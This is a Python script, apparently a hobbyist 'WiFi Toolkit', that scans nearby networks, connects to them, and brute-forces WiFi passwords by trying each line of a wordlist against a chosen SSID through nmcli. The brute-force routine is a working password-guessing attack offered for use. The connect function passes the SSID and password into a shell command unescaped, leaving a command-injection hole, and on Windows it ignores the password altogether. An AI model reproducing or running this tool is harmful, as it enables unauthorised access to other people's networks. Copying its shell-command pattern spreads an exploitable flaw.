import platform
import subprocess
import texttable as tt
from termcolor import cprint
import time
try:
from wifi import Cell, Scheme # Ensure you have the correct 'wifi' module installed
except ImportError:
cprint("[!!] Missing 'wifi' module! Install it using: pip install wifi", "red")
exit()
class WifiTool:
def __init__(self, interface):
cprint(r'''
__ ___ __ _ _______ _
\ \ / (_)/ _(_) |__ __| | |
\ \ /\ / / _| |_ _ | | ___ ___ | |
\ \/ \/ / | | _| | | |/ _ \ / _ \| |
\ /\ / | | | | | | | (_) | (_) | |
\/ \/ |_|_| |_| |_|\___/ \___/|_|
''', "red")
cprint(" - A WiFi Toolkit for all\n", "magenta")
cprint(" Version : Final\n", "red")
cprint(" By Kalihackz\n", "cyan")
cprint("Starting the WifiTool . . . \n", "green")
self.interface = interface
time.sleep(2)
def scan_wifi(self):
tab = tt.Texttable()
headings = ['SSID', 'SIGNAL', 'FREQUENCY', 'CHANNEL', ' MAC ADDRESS ', 'ENCRYPTION']
tab.header(headings)
ssid, signl, freq, chnl, addr, encry = [], [], [], [], [], []
connection = 0
cprint("\n[*] Scanning for WiFi connections . . . \n", "yellow")
try:
for cell in Cell.all(self.interface): # Use self.interface (e.g., "wlan0")
connection += 1
ssid.append(cell.ssid)
signl.append(str(cell.signal) + " dB")
freq.append(cell.frequency)
chnl.append(cell.channel)
addr.append(cell.address)
encryp = cell.encryption_type if cell.encrypted else "open"
encry.append(encryp.upper())
for row in zip(ssid, signl, freq, chnl, addr, encry):
tab.add_row(row)
cprint(tab.draw(), "green")
if connection == 0:
cprint("\n[-] No WiFi connections found.\n", 'red')
else:
cprint(f"\n[+] {connection} WiFi connection(s) found\n", 'cyan')
except Exception as e:
cprint(f"[!!] Error scanning WiFi: {e}", "yellow")
def connect_wifi(self, ssid, passkey):
os_type = platform.system().lower()
try:
if os_type == "linux":
command = f"nmcli dev wifi connect '{ssid}' password '{passkey}'"
elif os_type == "windows":
command = f'netsh wlan connect name="{ssid}"'
else:
cprint("[!!] Unsupported OS for WiFi connection.", "red")
return False
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT).decode()
if "successfully activated" in output.lower() or "Connection request was completed successfully" in output:
cprint(f"[+] WiFi '{ssid}' successfully connected!", "green")
return True
else:
cprint("[-] Connection failed. Wrong password?", "red")
return False
except Exception as e:
cprint(f"[!!] Connection Failed: {e}", "yellow")
return False
def brute_force_pass(self, ssid, wordlist):
try:
with open(wordlist, 'r', encoding='utf-8') as file:
for line in file:
password = line.strip()
cprint(f"[*] Trying password: {password}", "blue")
if self.connect_wifi(ssid, password):
cprint(f"[+] Success! Password for '{ssid}': {password}", "green")
break
except FileNotFoundError:
cprint("[!!] Wordlist file not found!", "red")
@staticmethod
def menu():
cprint("----------------------------Menu---------------------------", "yellow")
cprint(" | * scan - Scan WiFi connections", 'magenta', attrs=['bold'])
cprint(" | * connect - Connect to WiFi", 'magenta', attrs=['bold'])
cprint(" | * bruteforce - Brute force WiFi password", 'magenta', attrs=['bold'])
cprint(" | * exit - Exit", 'magenta', attrs=['bold'])
cprint("_|_________________________________________________________\n", "yellow")
if __name__ == "__main__":
try:
interface = "wlan0" if platform.system().lower() == "linux" else "Wi-Fi"
wifi = WifiTool(interface)
while True:
wifi.menu()
cprint("\nroot@WifiScanner:~$ ", "green", end="")
command = input().strip().lower()
if command == "scan":
wifi.scan_wifi()
elif command == "connect":
cprint("\n[+] Enter SSID: ", "green", end="")
ssid = input().strip()
cprint("[+] Enter PASSWORD: ", "green", end="")
passkey = input().strip()
wifi.connect_wifi(ssid, passkey)
elif command == "bruteforce":
cprint("\n[+] Enter SSID: ", "green", end="")
ssid = input().strip()
cprint("[+] Enter PASSWORD File path: ", "green", end="")
wordlist = input().strip()
wifi.brute_force_pass(ssid, wordlist)
elif command == "exit":
cprint("\n[+] Exiting ...\n", 'red')
exit()
else:
cprint("[-] Invalid command. Try again.", "red")
except KeyboardInterrupt:
cprint("\n\n[-] Forced Exit By User!!!\n", "red")